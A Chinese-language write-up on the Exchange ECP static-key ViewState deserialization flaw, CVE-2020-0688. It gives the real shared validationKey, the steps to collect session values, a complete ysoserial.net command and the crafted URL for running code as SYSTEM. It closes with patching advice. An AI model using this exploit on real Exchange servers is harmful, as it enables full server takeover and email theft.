在本周二的最新补丁程序中,微软公司发布了重要级补丁程序,以解决中的远程执行代码错误。该漏洞由一位匿名研究人员报告,漏洞影响范围一直影响到Microsoft Exchange Server的所有受支持版本。
最初,微软公司表示这个漏洞是由于内存损坏漏洞引起的,该漏洞可以通过发送一封特制的邮件到微软的有漏洞的Exchage服务器上。在此后发布的write up中表明该漏洞是由Exchange Server在安装时未能正确创建唯一的加密密钥导致的。
具体来说,该漏洞存在于Exchange控制面板(ECP)组件。该漏洞的原理非常简单。
相对于在每台机器上都随机生成各自的密钥,Microsoft Exchange的所有服务器安装有相同validationKey和decryptionKey,这两个密钥数值在web.config中可以查看到。这些密钥用于为ViewState提供安全性。
注:ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储在服务器端的数据。客户端请求通过 “__VIEWSTATE” 参数将此数据提供回服务器。
图1:包含静态validationKey的web.config文件一部分数据。
由于使用了静态密钥,经过身份验证的攻击者可以诱使服务器反序列化恶意制作的ViewState数据。借助YSoSerial.net,攻击者可以以system权限在Exchange服务器的控制面板上执行任意.NET代码。
要利用此漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey和的__VIEWSTATEGENERATOR的值。
该ViewStateUserKey可从ASP.NET会话的_SessionID cookie的隐藏字段中轻易获得。使用浏览器中的“标准开发人员工具(就是F12)”可以轻松获得所有这些信息。
首先,浏览/ecp/default.aspx页面并登录。所使用的帐户无需具有任何特殊特权。在此示例中,我们使用名为的帐户user:
下一步,我们需要收集一些信息。最有价值的信息我们是已知的:
validationkey =
CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg =
SHA1
前面提到过,这里是一个静态值,随便就能得到
要获取ViewStateUserKey和__VIEWSTATEGENERATOR,请打开开发工具(F12)网络选项(Network)。当我们登录/ecp/default.aspx,F5刷新一下,就能得到我们需要的网络数据:
如你所见,该__VIEWSTATEGENERATOR值在页面源中可见。在此示例中,其值为B97B4E27。你自己获取的值可能和这个是相同的。
接下来,打开Headers标签并在中找到ASP.NET_SessionId cookie:
在此示例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663。
现在,我们掌握了进行攻击所需的所有信息:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator = B97B4E27
--viewstateuserkey =
05ae4b41-51e1-4c3a-9241-6b87b169d663
下一步是使用ysoserial.net生成ViewState有效负载。由于该攻击效果是可以在微软服务器上执行任意代码,我们这里通过在目标服务器上创建文件说明此效果,payload如下:
注:ysoserial.net介绍:
soserial.net是在.NET库中发现的实用程序和面向属性的“小工具链”的集合,可以在适当的条件下利用.NET应用程序执行不安全的反序列化。
工具地址:https://github.com/pwntester/ysoserial.net
Payload效果:在目标服务器上创建C:\Vuln_Server.txt文件:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
最后,我们需要对ViewState的payload进行URL编码并按如下所示构造URL:
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
替换generator的值为我们获得的值
替换ViewState为我们上面获得的经过URL编码的ViewState。
然后,我们只需将结果URL粘贴到浏览器地址栏中,即可将其提交给Exchange服务器:
服务器显示 500 错误,但是攻击成功。
检查对目标服务器的影响:
果然,文件Vuln_Server.txt成功创建。
检查文件上的所有权信息,确认该文件是由具有SYSTEM令牌的进程创建的。
这表明攻击者可以SYSTEM权限执行任意代码,并完全破坏目标Exchange服务器。
Microsoft在2020年2月将此漏洞修补为CVE-2020-0688。根据他们的说明,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来解决此漏洞。其实就是将Exchange静态安装变为在安装时将加密密钥随机化。Microsoft在严重性上将其评为“important”,这可能是因为攻击者必须首先进行身份验证。但是,应注意,在企业内部,几乎所有用户都将被允许向Exchange服务器进行身份验证。同样,任何破坏设备或企业用户凭据的外部攻击者都可以控制Exchange服务器。完成此操作后,攻击者将可以随意泄露或伪造公司电子邮件通信。因此,如果您是Exchange Server管理员,您应该将其视为关键级补丁,并在测试完成后立即进行部署。
Microsoft列出的漏洞利用指数为1,这表示他们认为该漏洞会在补丁发布30的天内被疯狂利用。如上证明,这个的确有可能实现。